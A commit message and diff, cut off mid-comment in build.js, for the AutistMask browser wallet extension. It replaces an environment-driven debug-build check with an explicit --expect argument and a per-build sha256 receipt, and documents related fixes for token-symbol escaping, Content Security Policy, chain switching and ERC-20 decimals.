fix: verify the build against its own receipt, with the expected mode as an argument (closes #309)

script/verify-build computed its expectation from AUTISTMASK_DEBUG in its own
environment, and the Makefile invoked it bare, so an operator with that flag
exported who ran the release target got a debug bundle -- every wallet it
creates carrying the publicly committed test recovery phrase -- verified green
at exit 0. The mode is now the required argument --expect release|debug, with
no default and nothing read from the environment; make build passes
--expect release on an env -u AUTISTMASK_DEBUG environment and make build-debug
passes --expect debug. The flag is deliberately still allowed to reach the
compiler, so a shell that has it exported fails make build loudly rather than
quietly receiving something other than the release build it asked for.

The other half was provenance. The check was a marker grep over a file list
read back out of dist/, so a 26-byte file containing only
autistmask-build-debug=off verified ok, manifest.json and the content script
that runs on every page were never read at all, and an entire hand-written
dist/ passed as "1 bundle(s) verified".

build.js now records every file it emits and writes a receipt of them -- path,
sha256, and whether the file is one of the bundles containing constants.js --
to a path the Makefile creates with mktemp per invocation, outside the repo,
and deletes afterwards; a receipt path inside dist/ is refused. dist/ is
cleared before a build, so it holds only what that build wrote.
dist/constants-bundles.txt is gone, and with it the standalone make verify-build
target: re-verifying a dist/ out of the dist/ itself is the thing that was
broken.

verify-build now checks the receipt's shape, then that dist/ contains nothing
the build did not emit and no symlinks, then each recorded file's bytes against
its digest and each audited bundle's marker against --expect. The guarantee is
narrow and README.md states it as such: dist/ is byte for byte the output of
the build.js run that just finished. It proves nothing about the honesty of the
source tree or of build.js, and offers nothing to a third party holding a
dist/. That is signing:
#310

script/test-verify-build goes from 18 cases to 39, extended in place: one per
demonstrated bypass, the missing/invalid argument cases, an AUTISTMASK_DEBUG=1
environment that the verifier must ignore, debug bundles that must fail
--expect release, and four checks that read the make build and make build-debug
recipes back out of make -n. The existing failure modes (grep exit-2, find's
status, newline and trailing-space paths, symlinked dist/, and the root probe
that refuses to count permission cases vacuously) are kept.

Verified: make check green (39 suites / 811 tests, 39 verify-build cases,
permission cases enabled), and green again inside the pinned image via
script/cibuild with --no-cache-filter=check, where the harness runs as root and
reports the setpriv runner rather than skipping. Non-vacuity proved by
mutation: disabling the digest comparison fails exactly the four bypass cases,
removing the dist/ walk fails the eight extra-file and symlink cases, restoring
the ambient AUTISTMASK_DEBUG fallback fails the no---expect case, breaking the
Makefile recipe fails the wiring cases, and dropping manifest.json from the
recorded emissions fails a real make build.

Makefile

@@ -1,4 +1,4 @@
-.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
+.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug vendor-blocklist clean dev
 
 # Standard targets are thin shims; the implementations live in script/
 # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -47,10 +47,27 @@ docker:
 hooks:
 	@script/install-precommit
 
+# build.js writes a receipt of everything it emitted — every path, its sha256,
+# and whether it is a bundle containing constants.js — and script/verify-build
+# checks dist/ against that. The receipt is made here, fresh per invocation,
+# outside the repo, and deleted again: a standing file inside dist/ would be
+# rewritten by whoever rewrote dist/, which is what made the old check
+# satisfiable by a hand-written tree.
+#
+# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
+# from the verifier's environment. The script no longer reads it at all; env -u
+# is here so that stays true of anything it calls. It is deliberately NOT
+# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
+# compiles a debug bundle and then fails on it, loudly, rather than quietly
+# handing back something other than the release build that was asked for.
 build:
 	@echo "Building extension..."
-	@yarn run build 2>&1
-	@script/verify-build
+	@set -eu; \
+	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
+	trap 'rm -f "$$receipt"' EXIT INT TERM; \
+	AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
+	env -u AUTISTMASK_DEBUG script/verify-build --expect release \
+		--receipt "$$receipt"
 	@script/check-censored --require-dist
 
 # Development-only build: enables the red DEBUG / INSECURE banner and makes
@@ -58,15 +75,14 @@ build:
 # distribute the artifacts this produces.
 build-debug:
 	@echo "Building extension (DEBUG)..."
-	@AUTISTMASK_DEBUG=1 yarn run build 2>&1
-	@AUTISTMASK_DEBUG=1 script/verify-build
+	@set -eu; \
+	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
+	trap 'rm -f "$$receipt"' EXIT INT TERM; \
+	AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
+	env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
+		--receipt "$$receipt"
 	@script/check-censored --require-dist
 
-# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
-# the end of build and build-debug; separate target for re-running it alone.
-verify-build:
-	@script/verify-build
-
 # Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
 # Run deliberately, land the diff: the extension does no runtime fetching, so
 # the shipped list is as fresh as the last vendoring run that was released.

README.md

@@ -48,28 +48,57 @@ Load the extension:
 
 ### Debug Builds
 
-`make build` always produces a release build: the build-time `DEBUG` constant is
-`false`, so wallet creation uses real entropy and the red banner is off. To
-produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
+`make build` never hands back a debug build. `make build-debug` is the only
+target that produces one:
 
 ```bash
-make build-debug          # or: AUTISTMASK_DEBUG=1 make build
+make build-debug
 ```
 
-Only the exact value `1` enables it; any other value (including unset, empty, or
-`true`) yields a release build, so a typo cannot accidentally ship the debug
-behavior. The build prints which mode it used. See the
+`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
+`1` does; any other value (including unset, empty, or `true`) yields a release
+build, so a typo cannot accidentally ship the debug behavior. But it is the
+compiler's input, not the verifier's: if it happens to be exported in the shell
+that runs `make build`, that target compiles a debug bundle and then **fails**,
+because it tells `script/verify-build` in so many words that it was supposed to
+produce a release build. It used to be that the verifier read the same variable
+out of its own environment, agreed with itself, and reported a debug artifact as
+verified. The build prints which mode it used. See the
 [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
 distribute a debug build** — every wallet it creates gets the same publicly
 known test recovery phrase.
 
-Both builds end by running `script/verify-build`, which reads the compiled
+Both targets end by running `script/verify-build`, which reads the compiled
 `DEBUG` state back out of the emitted bundles and fails the build if it is not
 the one that was asked for. The test suite cannot check this: it loads
 `src/shared/constants.js` outside a bundle, so it only ever sees the fallback
 value. The assertion is on the artifacts because that is where the property
 lives.
 
+### Build Receipts
+
+`build.js` records every file it emits — path, sha256, and whether the file is
+one of the bundles containing `src/shared/constants.js` — into a build receipt,
+and `script/verify-build` checks `dist/` against that receipt: every recorded
+file present with exactly the recorded bytes, every audited bundle carrying the
+requested `DEBUG` marker, and nothing under `dist/` that the build did not
+write. The `Makefile` creates the receipt path with `mktemp` per invocation,
+outside the repo, and deletes it afterwards.
+
+That is what ties the check to a build rather than to a directory. What it
+establishes is narrow and worth stating exactly: `dist/` is byte for byte the
+output of the `build.js` run that just finished, with nothing added, removed or
+altered in between. It establishes nothing about whether the source tree or
+`build.js` were honest, and it offers nothing to someone handed a `dist/` from
+elsewhere — without the receipt from its own build there is no input to the
+check. Verifiable provenance for a third party is signing, which this is not.
+
+There is deliberately no target that re-verifies an existing `dist/` on its own.
+The list of files to check has to come from the build that produced them; read
+back out of `dist/`, it is the artifact vouching for itself, which is how a
+26-byte file containing only the marker string, a hostile content script, and an
+entire hand-written `dist/` all used to verify green.
+
 ## Entrypoints
 
 This repository adheres to the
@@ -114,20 +143,26 @@ provide:
   serves. Run deliberately, never as part of a build: the output is committed
   and there is no runtime fetch, so the shipped list is as fresh as the last
   vendoring run that was released
-- `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
-  `dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
-  off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
-  `make build` and `make build-debug`; fails loudly rather than passing if it
-  cannot determine a bundle's state. Not part of `make check`, which does not
-  depend on build artifacts existing.
+- `script/verify-build --expect release|debug --receipt PATH` — assert that
+  `dist/` is exactly what the build that just ran emitted, and that the compiled
+  `DEBUG` state of the bundles in it is the one that was asked for. Both
+  arguments are required and neither has a default: the expected mode is stated
+  by the caller rather than read from `AUTISTMASK_DEBUG`, and the file list
+  comes from the build's receipt rather than from `dist/` (see
+  [Build Receipts](#build-receipts)). Run automatically at the end of
+  `make build` and `make build-debug`; fails loudly rather than passing whenever
+  it cannot determine something. Not part of `make check`, which does not depend
+  on build artifacts existing.
 - `script/test-verify-build` — exercise every failure mode of
   `script/verify-build` against a fixture tree in a temp dir, asserting the exit
-  status and the message of each. Part of `make check`; it reads no build
-  artifacts and writes nothing under `dist/`. The cases that depend on file
-  permissions cannot mean anything for a process that is not subject to them, so
-  the harness proves its runner against a mode-000 file before counting them,
-  dropping to an unprivileged user when run as root; if it cannot, it skips
-  those cases and says so in a banner rather than passing them.
+  status and the message of each, and read the `make build` and
+  `make build-debug` recipes back out of `make -n` to check that they pass the
+  mode as an argument on a scrubbed environment. Part of `make check`; it reads
+  no build artifacts and writes nothing under `dist/`. The cases that depend on
+  file permissions cannot mean anything for a process that is not subject to
+  them, so the harness proves its runner against a mode-000 file before counting
+  them, dropping to an unprivileged user when run as root; if it cannot, it
+  skips those cases and says so in a banner rather than passing them.
 - `script/docker` — build the Docker image tagged via `script/projectname`
 - `script/cibuild` — CI entrypoint: plain `docker build .`
 - `script/precommit` — run by the git pre-commit hook; runs `script/check`
@@ -140,9 +175,10 @@ The Makefile shims to those. It also carries a few targets that have no
   of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
   silently rewritten. Use `make setup` for a fresh clone.
 - `make hooks` — shims to `script/install-precommit`
-- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
-- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
-  [Debug Builds](#debug-builds))
+- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`,
+  then verify the result against the build's receipt as a release build
+- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a
+  debug build (see [Debug Builds](#debug-builds))
 - `make clean` — remove `dist/`
 - `make dev` — build in watch mode
 
@@ -992,6 +1028,13 @@ on ConfirmTx, DeleteWallet, ApproveTx and ApproveSign.
 - **Transitions**:
     - "Sign & Send" (correct password) → broadcast tx → **WaitTx**
     - "Sign & Send" (correct password) → broadcast fails → **ErrorTx**
+    - "Sign & Send" on an ERC-20 whose contract answers `decimals()` with a
+      different number than the amount above was displayed with → nothing is
+      signed → **ErrorTx** naming both numbers. The transfer is encoded from the
+      decimals the screen rendered, carried forward on the pending transaction;
+      the contract's own answer is read at signing time only to be compared with
+      it, and a disagreement is a refusal rather than a preference for either
+      value (`src/shared/transferAmount.js`)
     - "Sign & Send" (wrong password) → "Wrong password." on the password error
       line, no screen change
     - "Back" → **Send**
@@ -1457,10 +1500,44 @@ policy, but as of now there are none.
 
 ### Content Security Policy
 
-Both manifests declare the same policy for extension pages —
-`script-src 'self' 'wasm-unsafe-eval'; object-src 'self'` — as an object under
+Both manifests declare the same policy for extension pages, as an object under
 `content_security_policy.extension_pages` in `manifest/chrome.json` (MV3) and as
-a bare string in `manifest/firefox.json` (MV2).
+a bare string in `manifest/firefox.json` (MV2):
+
+```
+default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self';
+style-src 'self' 'unsafe-inline'; img-src 'self' data:;
+connect-src 'self' https: http:; frame-src 'none'; form-action 'none';
+base-uri 'none'
+```
+
+`default-src 'self'` is the floor. Without it the policy governed script and
+plugins only, and everything else — frames above all — was unrestricted, which
+is what let an unescaped token symbol paint a cross-origin iframe over the
+wallet's own UI. Escaping is the primary fix for that (see
+`src/shared/html.js`); this is the second line, so an escape that does slip
+cannot reach the network.
+
+Four directives are looser than `'self'`, each for a reason that does not
+generalise:
+
+- `style-src 'unsafe-inline'` — `src/popup/index.html` and the view helpers set
+  presentation through `style="..."` attributes, which CSP blocks without this.
+  Chrome enforces `style-src` on attributes, not only on `<style>` blocks, and
+  Firefox has never implemented `style-src-attr`, so there is no narrower
+  spelling that works on both targets. It permits inline **style**; script stays
+  under `script-src`, which does not allow `'unsafe-inline'`.
+- `img-src data:` — identicons are generated in the popup by
+  `ethereum-blockies-base64` and assigned to `img.src` as `data:` PNGs.
+- `connect-src https: http:` — the RPC endpoint is user-configurable and a local
+  node over `http://127.0.0.1` is a supported configuration, which the Firefox
+  end-to-end suite depends on. The wallet's outbound traffic is constrained by
+  what it is written to contact (see External Communication), not by this
+  directive.
+- `frame-src 'none'`, `form-action 'none'`, `base-uri 'none'` — named rather
+  than inherited. `form-action` and `base-uri` do not fall back to `default-src`
+  at all, so they would have stayed unrestricted; `frame-src 'none'` is what
+  refuses the framed-overlay attack outright.
 
 `'wasm-unsafe-eval'` is there for one reason: libsodium. It ships a WebAssembly
 build and a `wasm2js` translation of it in one file, tries WASM first, and
@@ -1478,9 +1555,10 @@ strings, not inline script, not remote script. Using it requires already
 executing script in an extension page, which is complete compromise on its own.
 `'unsafe-eval'` is a different proposition and is not granted.
 
-The grant is pinned in both directions. `tests/manifest.test.js` asserts the
-exact token set in both manifests, so dropping `'wasm-unsafe-eval'` (a silent
-20x regression on the key derivation) and adding anything beyond it both fail
+The policy is pinned in both directions. `tests/manifest.test.js` asserts the
+exact directive set and the exact token set of each directive in both manifests,
+so dropping `'wasm-unsafe-eval'` (a silent 20x regression on the key
+derivation), dropping `default-src`, and adding anything anywhere all fail
 `make check`. `tests/vaultBackend.test.js` asserts the unit tests run the WASM
 backend, and `make test-e2e` compiles a WebAssembly module inside the real popup
 under the real manifest.

TODO.md

@@ -25,8 +25,8 @@ pre-1.0, working towards the 1.0.0 milestone. Tagged v0.1.0 on 2026-02-27. The
 milestone is in flight on `next`; its `next` -> `main` PR is
 [#190](https://git.eeqj.de/sneak/AutistMask/pulls/190). `make check` verified
 green on `next` at `e9fa8be` on 2026-08-10, and `make build` produces
-`dist/chrome/` and `dist/firefox/` with every bundle verified to have `DEBUG`
-compiled off.
+`dist/chrome/` and `dist/firefox/`, verified against the build's own receipt to
+be exactly what that build emitted with `DEBUG` compiled off.
 
 The backlog lives on the
 [Gitea tracker](https://git.eeqj.de/sneak/AutistMask/issues), which is
@@ -44,6 +44,131 @@ but the review is broader than any of them.
 
 # Completed Steps
 
+- 2026-08-20: `make build` can no longer hand back a debug build, and
+  `script/verify-build` can no longer be satisfied by bytes the build did not
+  produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
+  verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
+  environment, so an operator with that exported who ran the release target got
+  a debug bundle — every wallet it creates carrying the publicly committed test
+  phrase — certified green at exit 0. The expected mode is now the required
+  argument `--expect release|debug`, with no default and nothing read from the
+  environment, and the `Makefile` scrubs the flag from the verifier while
+  deliberately leaving it reaching the compiler, so that shell fails the build
+  loudly instead of quietly getting something other than what it asked for.
+  Provenance was the other half: the check was a marker grep over a file list
+  read back out of `dist/`, so a 26-byte file containing only
+  `autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
+  script that runs on every page were never read at all, and an entire
+  hand-written `dist/` passed. `build.js` now records every file it emits, with
+  its sha256 and whether it is one of the bundles containing `constants.js`,
+  into a receipt whose path the `Makefile` makes fresh per invocation outside
+  the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
+  `dist/` is cleared before a build so it holds only what that build wrote. The
+  standalone `make verify-build` target went with it: re-verifying a `dist/`
+  from the `dist/` itself is the thing that was broken. What this establishes is
+  narrow and stated as such in README.md — `dist/` is byte for byte the output
+  of the `build.js` run that just finished — and it is not signing, which is
+  [#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
+  `script/test-verify-build` grew from 18 cases to 39, including one per
+  demonstrated bypass and the `make -n` read-back that proves the recipes pass
+  the mode as an argument.
+- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
+  popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
+  symbol is whatever the contract's `symbol()` returns, the block explorer
+  passes it through unfiltered, and `balanceLine()` interpolated it into an
+  `innerHTML` string — so a token with the 1,000 holders the spam filter asks
+  for, airdropped to the victim, could paint a full-viewport cross-origin iframe
+  over the wallet's own UI, on the screens where the user types their password.
+  `escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
+  `<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
+  element's `textContent`, which does not escape quotes, and it was already
+  being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
+  string across `src/popup/views/` was audited, not just the reported one — the
+  transaction lists' direction label, the wallet name and ENS name in the Home
+  list, the `href` in the explorer link, and the confirmation screen's warning
+  line were all unescaped as well. Both manifests now declare
+  `default-src 'self'` with `frame-src 'none'`; the four directives that had to
+  stay looser than `'self'` are named and justified in the Content Security
+  Policy section of README.md, and `tests/manifest.test.js` pins the whole set
+  exactly. A display cap of 12 characters bounds the symbol, matching the bound
+  `lookupTokenInfo()` already applied on the contract-read path. Not repurposed
+  for any of this: `isSpoofedSymbol()`, which answers a different question and
+  would have been the wrong control.
+- 2026-08-20: A page asking which chain the wallet is on is told the chain the
+  user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
+  `eth_chainId` and `net_version` answered from `currentNetwork()`, which reads
+  the module-level `state` singleton that nothing populates at module scope, so
+  a service worker revived by the page's own message answered out of
+  `DEFAULT_STATE` and reported mainnet `0x1`/`1` to a user on Sepolia — a dApp
+  building its interaction for the wrong chain. Both now answer from
+  `getState()`, the per-call detached storage read the other read handlers use,
+  rather than from the singleton: these two are reachable by any page on every
+  provider init, and mutating the shared singleton on that path would detach the
+  wallet objects an in-flight `backgroundRefresh()` is mutating. The read side
+  of the background was audited with it: the remaining singleton reads are the
+  chain switch, the transaction verification path and `backgroundRefresh`, which
+  each already load, and everything else answers from storage per call through
+  `getState()`. One stale read is left named but unfixed, outside this issue's
+  scope: `handleSendTransaction` builds its provider with no network name, so
+  `getProvider()` falls back to the same unloaded singleton for ethers' static
+  network hint.
+- 2026-08-20: The dApp approval screen no longer shows a token transfer it
+  cannot scale as `0.0000`
+  ([#306](https://git.eeqj.de/sneak/AutistMask/issues/306)). `decodeCalldata`
+  read decimals from the 512-entry bundled token list alone and fell back to 18,
+  so every token outside it — most of them, including anything the user added by
+  contract address — was displayed at the wrong scale: a `transfer` of 5,000
+  units of a 6-decimal token read as `0.0000`, and a user who reads zero
+  confirms the drain. The new `src/shared/approvalAmount.js` resolves the scale
+  from the bundled list, then `state.trackedTokens`, then the decimals the block
+  explorer already reported in `addr.tokenBalances`, and refuses one the
+  explorer's own entries disagree about. Where no source knows it, the amount
+  line is not formatted at all: it shows the base-unit integer and states that
+  the scale is unknown, for `approve` as well as `transfer`. An unbounded
+  allowance still reads `Unlimited`, which needs no scale.
+- 2026-08-20: A web page can no longer switch the wallet's chain, and switching
+  no longer destroys the user's endpoints
+  ([#308](https://git.eeqj.de/sneak/AutistMask/issues/308)).
+  `wallet_switchEthereumChain` was answered for any origin at all, with no
+  connection check and no prompt: any page could clear the `[TESTNET]` banner
+  under a user who believed they were on Sepolia. It now takes the same
+  `allowedSites`/`connectedSites` gate the signing methods take, ahead of the
+  same-chain and unsupported-chain answers, and refuses an unconnected origin
+  with `4100`. The switch itself also overwrote `state.rpcUrl` and
+  `state.blockscoutUrl` with the network defaults, so a user running their own
+  node lost that url permanently and silently to a public endpoint that then
+  sees every address they hold. Endpoints are now remembered per network in
+  `state.networkEndpoints`, snapshotted from the network being left and restored
+  for the network being entered; `state.rpcUrl` stays the live value for the
+  active network, so no reader changed. A profile written before the map existed
+  has its stored pair adopted for the network it was stored under, and loses
+  nothing. The handler now loads state before it switches
+  ([#316](https://git.eeqj.de/sneak/AutistMask/issues/316)): the service worker
+  populates nothing at module scope, so a worker revived by the page's own
+  message held `DEFAULT_STATE`, and the switch persisted every field of it —
+  wiping every wallet, every site approval and every tracked token from storage
+  along with the endpoint.
+- 2026-08-20: The wallet's own ERC-20 send signs the amount it displayed
+  ([#305](https://git.eeqj.de/sneak/AutistMask/issues/305)). The confirmation
+  screen renders from the block explorer's cached decimals; the transfer was
+  encoded from `decimals()` read off the contract at signing time, and nothing
+  compared the two, so a token whose on-chain scale disagreed — an upgradeable
+  or proxy token, a stale explorer entry, a compromised Blockscout — signed an
+  amount that was never on screen, off by a power of ten per decimal place of
+  disagreement. The scale is now carried forward on the pending transaction from
+  the same balance entry the screen's amount, balance and symbol come from, and
+  the contract's answer is read at signing time only to be compared with it: a
+  disagreement is a refusal naming both numbers, never a preference for either
+  (`src/shared/transferAmount.js`, the `confirmTx` counterpart to
+  `approvalVerify.js`). The gas estimate encodes from the same carried value and
+  no longer reads `decimals()` at all. Nothing in the e2e suite had ever clicked
+  `#btn-confirm-send`, which is how this shipped: the popup's own Send →
+  ConfirmTx → Sign & Send → WaitTx path now runs end to end to a broadcast, with
+  the `transfer()` amount decoded out of the raw signed bytes and asserted
+  against what the screen displayed, and a companion case where the contract
+  starts answering a different scale after the screen was built and nothing
+  reaches the RPC. Reverting only the signing-side comparison turns that second
+  case red and leaves the other 53 green.
 - 2026-08-17: The Settings screen is driven in a browser, and every element id
   the popup looks up is checked statically. Nothing exercised Settings in the
   e2e suite, and jest runs with no DOM, so the densest run of `$("...")` lookups

build.js

@@ -1,5 +1,6 @@
 const fs = require("fs");
 const path = require("path");
+const crypto = require("crypto");
 const { execSync } = require("child_process");
 const esbuild = require("esbuild");
 
@@ -8,12 +9,29 @@ const DIST_CHROME = path.join(DIST, "chrome");
 const DIST_FIREFOX = path.join(DIST, "firefox");
 const SRC = path.join(__dirname, "src");
 
-// The module whose compiled DEBUG state script/verify-build asserts, and the
-// manifest naming every emitted bundle that ends up containing it. The
-// manifest is derived from esbuild's own dependency graph rather than from a
-// hardcoded list, so it tracks the bundle layout instead of rotting with it.
+// The module whose compiled DEBUG state script/verify-build asserts. Which
+// bundles contain it is derived from esbuild's own dependency graph rather
+// than from a hardcoded list, so it tracks the bundle layout instead of
+// rotting with it.
 const AUDITED_MODULE = "src/shared/constants.js";
-const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
+
+// The build receipt: every file this build emits, with its sha256 and whether
+// it is one of the audited bundles. script/verify-build is handed this and
+// checks dist/ against it, so the file list comes from the build that just ran
+// rather than being read back out of the tree it is supposed to vouch for.
+//
+// The path is supplied by the caller, not chosen here, and the Makefile makes
+// a fresh one per invocation outside the repo: that is what ties a receipt to
+// one build rather than leaving a standing file anyone can write.
+const RECEIPT_HEADER = "autistmask-build-receipt v1";
+const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
+
+// Every emitted path must be plainly nameable, because the receipt is a
+// line-oriented text file consumed by a POSIX shell script and a path with a
+// space or a newline in it could not be read back unambiguously. Nothing this
+// build emits looks like that; if that ever changes, the build fails here
+// rather than writing a receipt that cannot be checked.
+const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
 
 function ensureDir(dir) {
     fs.mkdirSync(dir, { recursive: true });
@@ -31,10 +49,10 @@ function repoRelative(p) {
 // searching the minified text, it does not depend on what survived minification.
 //
 // The ".js" filter below is the only place that assumption lives:
-// script/verify-build searches every file and symlink under dist/ for a
-// marker, without filtering by extension, and hard-fails if it cannot walk the
-// whole tree, so a bundle emitted under some other extension fails there as
-// unlisted rather than escaping both checks at once.
+// script/verify-build reads every file the receipt names, whatever its
+// extension, and fails on any that carries a debug marker without being
+// recorded as an audited bundle — so a bundle emitted under some other
+// extension fails there rather than escaping both checks at once.
 function outputsContainingAuditedModule(metafile) {
     return Object.entries(metafile.outputs)
         .filter(([outFile, info]) => {
@@ -46,6 +64,94 @@ function outputsContainingAuditedModule(metafile) {
         .map(([outFile]) => repoRelative(outFile));
 }
 
+// Every file this build writes under dist/, recorded as it is written. This is
+// the build's own account of what it emitted; it is never recovered by
+// listing dist/, because a file that is in dist/ without this build having put
+// it there is exactly what the receipt exists to expose.
+const emittedFiles = [];
+
+function recordEmitted(absPath) {
+    emittedFiles.push(absPath);
+}
+
+// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
+// CLI record their outputs where they are invoked.
+function copyEmitted(src, dest) {
+    fs.copyFileSync(src, dest);
+    recordEmitted(dest);
+}
+
+function sha256File(absPath) {
+    return crypto
+        .createHash("sha256")
+        .update(fs.readFileSync(absPath))
+        .digest("hex");
+}
+
+// Write the receipt for the files this build emitted. Deliberately records no
+// build mode: which mode was asked for is script/verify-build's argument, so
+// build.js cannot vouch for build.js. All the receipt says is "these bytes,
+// under these names, are what I wrote, and these ones bundle constants.js".
+function writeReceipt(receiptPath, auditedBundles) {
+    const audited = new Set(auditedBundles);
+    const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
+
+    for (const p of paths) {
+        if (!SAFE_EMITTED_PATH.test(p)) {
+            throw new Error(
+                `emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
+            );
+        }
+    }
+
+    // A bundle esbuild reported but that nothing recorded as emitted means the
+    // two halves have drifted apart, and the receipt would then leave an
+    // audited bundle out. Fail rather than emit a short receipt.
+    for (const bundle of audited) {
+        if (!paths.includes(bundle)) {
+            throw new Error(
+                `${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
+            );
+        }
+    }
+    if (audited.size === 0) {
+        throw new Error(
+            `no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
+        );
+    }
+
+    const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
+    for (const p of paths) {
+        const flag = audited.has(p) ? "A" : "P";
+        lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
+    }
+    fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
+
+    console.log(
+        `Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
+            `containing ${AUDITED_MODULE} (${receiptPath})`,
+    );
+}
+
+// Where the receipt goes, decided before anything is emitted so a build that
+// cannot produce a checkable receipt fails before it writes any artifacts.
+// Inside dist/ is refused: a receipt that lives in the tree it describes can
+// be rewritten by whoever rewrites the tree, which is the hole this replaces.
+function receiptTarget() {
+    const requested = process.env[RECEIPT_ENV];
+    if (!requested) {
+        return null;
+    }
+    const resolved = path.resolve(requested);
+    if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
+        throw new Error(
+            `${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
+                `describes dist/ and must not live in it.`,
+        );
+    }
+    return resolved;
+}
+
 // DEBUG is a build-time flag, off unless explicitly requested. It is the only
 // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
 // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -87,6 +193,15 @@ function getBuildInfo() {
 async function build() {
     console.log("Building AutistMask extension...");
 
+    const receiptPath = receiptTarget();
+    if (!receiptPath) {
+        console.warn(
+            `WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
+                `receipt and script/verify-build cannot verify what it ` +
+                `emitted. Build through make build / make build-debug.`,
+        );
+    }
+
     const buildInfo = getBuildInfo();
     console.log("Build info:", buildInfo);
 
@@ -108,19 +223,21 @@ async function build() {
     };
 
     // Emitted bundles that contain constants.js, accumulated across every
-    // esbuild run below and written out for script/verify-build.
+    // esbuild run below and recorded in the receipt for script/verify-build.
     const auditedBundles = [];
 
     // compile tailwind CSS
     console.log("Compiling Tailwind CSS...");
     const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
     const tailwindOutput = path.join(DIST, "styles.css");
+
+    // Start from an empty dist/, so what is there afterwards is what this
+    // build put there and nothing else. Leftovers from an earlier build are
+    // not covered by this build's receipt, and script/verify-build rejects
+    // any file it did not emit rather than ignoring it.
+    fs.rmSync(DIST, { recursive: true, force: true });
     ensureDir(DIST);
 
-    // Drop any manifest from a previous build before emitting anything, so a
-    // build that never gets around to writing one cannot be verified against
-    // a stale list.
-    fs.rmSync(BUNDLE_MANIFEST, { force: true });
     // The locally installed binary, not `npx` — npx silently fetches from the
     // registry when the binary is absent, which is an unpinned network fetch
     // in the middle of a build.
@@ -134,6 +251,7 @@ async function build() {
         `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
         { stdio: "inherit" },
     );
+    recordEmitted(tailwindOutput);
 
     // Every bundle goes through here, so metafile collection cannot be
     // forgotten when a new entry point is added.
@@ -149,6 +267,7 @@ async function build() {
             metafile: true,
             define,
         });
+        recordEmitted(outfile);
         auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
     }
 
@@ -182,39 +301,39 @@ async function build() {
         );
 
         // copy popup HTML
-        fs.copyFileSync(
+        copyEmitted(
             path.join(SRC, "popup", "index.html"),
             path.join(distDir, "src", "popup", "index.html"),
         );
 
         // place compiled CSS next to popup HTML
-        fs.copyFileSync(
+        copyEmitted(
             tailwindOutput,
             path.join(distDir, "src", "popup", "styles.css"),
         );
     }
 
     // copy manifests
-    fs.copyFileSync(
+    copyEmitted(
         path.join(__dirname, "manifest", "chrome.json"),
         path.join(DIST_CHROME, "manifest.json"),
     );
-    fs.copyFileSync(
+    copyEmitted(
         path.join(__dirname, "manifest", "firefox.json"),
         path.join(DIST_FIREFOX, "manifest.json"),
     );
 
-    // Written last so a build that died partway through leaves no manifest
-    // at all, which script/verify-build treats as a hard failure rather than
-    // as "nothing to check".
-    const manifest = [...new Set(auditedBundles)].sort();
-    fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
-    console.log(
-        `Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
-            `(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
-    );
+    // Written last so a build that died partway through leaves no receipt at
